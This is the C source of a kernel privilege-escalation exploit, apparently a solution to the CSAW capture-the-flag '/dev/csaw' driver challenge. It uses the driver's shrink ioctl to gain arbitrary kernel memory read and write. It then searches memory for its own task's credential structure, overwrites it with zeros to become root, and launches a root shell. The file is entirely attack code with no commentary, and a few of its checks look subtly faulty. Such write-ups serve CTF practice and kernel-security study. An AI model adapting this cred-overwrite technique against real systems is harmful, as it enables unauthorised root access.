1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160
| #include <stdio.h> #include <sys/prctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h>
#define CSAW_IOCTL_BASE 0x77617363 #define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1 #define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2 #define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3 #define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4 #define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5 #define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6 #define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7 #define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8
struct alloc_channel_args { size_t buf_size; int id; };
struct open_channel_args { int id; };
struct shrink_channel_args { int id; size_t size; };
struct read_channel_args { int id; char *buf; size_t count; };
struct write_channel_args { int id; char *buf; size_t count; };
struct seek_channel_args { int id; loff_t index; int whence; };
struct close_channel_args { int id; };
void print_hex(char *buf,size_t len){ int i; for (i=0;i<((len/8)*8);i+=8){ printf("0x%lx",*(size_t *)(buf+i)); if (i%16) printf(" "); else printf("\n"); } }
int main(){ int fd=-1; size_t result=0; struct alloc_channel_args alloc_args; struct shrink_channel_args shrink_args; struct seek_channel_args seek_args; struct read_channel_args read_args; struct close_channel_args close_args; struct write_channel_args write_args; size_t addr=0xffff880000000000; size_t real_cred=0; size_t cred=0; size_t target_addr; int root_cred[12]; setvbuf(stdout,0LL,2,0LL); char *buf =calloc(1,0x1000); char target[16]; strcpy(target,"12345567"); prctl(PR_SET_NAME,target); fd=open("/dev/csaw",O_RDWR); if (fd<0){ puts("[-] open device error"); exit(-1); }
alloc_args.buf_size=0x100; alloc_args.id=-1; ioctl(fd,CSAW_ALLOC_CHANNEL,&alloc_args); if (alloc_args.id==-1){ puts("[-] alloc_channel error"); exit(-1); } printf("[+] now we get a channel %d\n",alloc_args.id); shrink_args.id=alloc_args.id; shrink_args.size=0x100+1; ioctl(fd,CSAW_SHRINK_CHANNEL,&shrink_args); puts("[+] we can read and write any memory");
for(;addr<0xffffc80000000000;addr+=0x1000){ seek_args.id=alloc_args.id; seek_args.index=addr-0x10; seek_args.whence=SEEK_SET; ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args); read_args.id=alloc_args.id; read_args.buf=buf; read_args.count=0x1000; ioctl(fd,CSAW_READ_CHANNEL,&read_args); result=memmem(buf,0x1000,target,8); if (result){ printf("result:%p\n",(void *)result); cred= * (size_t *)(result-0x8); real_cred= *(size_t *)(result-0x10); if ((cred||0xff00000000000000) && (real_cred == cred)) { target_addr=addr+result-(int)(buf); printf("[+] found task_struct 0x%lx\n",target_addr); printf("[+] found cred 0x%lx\n",real_cred); break; } } } if (result==0) { puts("not found , try again "); exit(-1); } memset((char *)root_cred,0,28); char zeros[30]={0}; for (int i=0;i<28;i++) { seek_args.id=alloc_args.id; seek_args.index=cred-0x10+i; seek_args.whence=SEEK_SET; ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args); write_args.id=alloc_args.id; write_args.buf=(char *)root_cred; write_args.count=1; ioctl(fd,CSAW_WRITE_CHANNEL,&write_args); }
if (getuid()==0){ printf("[+] root shell\n"); system("/bin/sh"); } else { puts("[-] there must be something error ... "); exit(-1); } return 0; }
|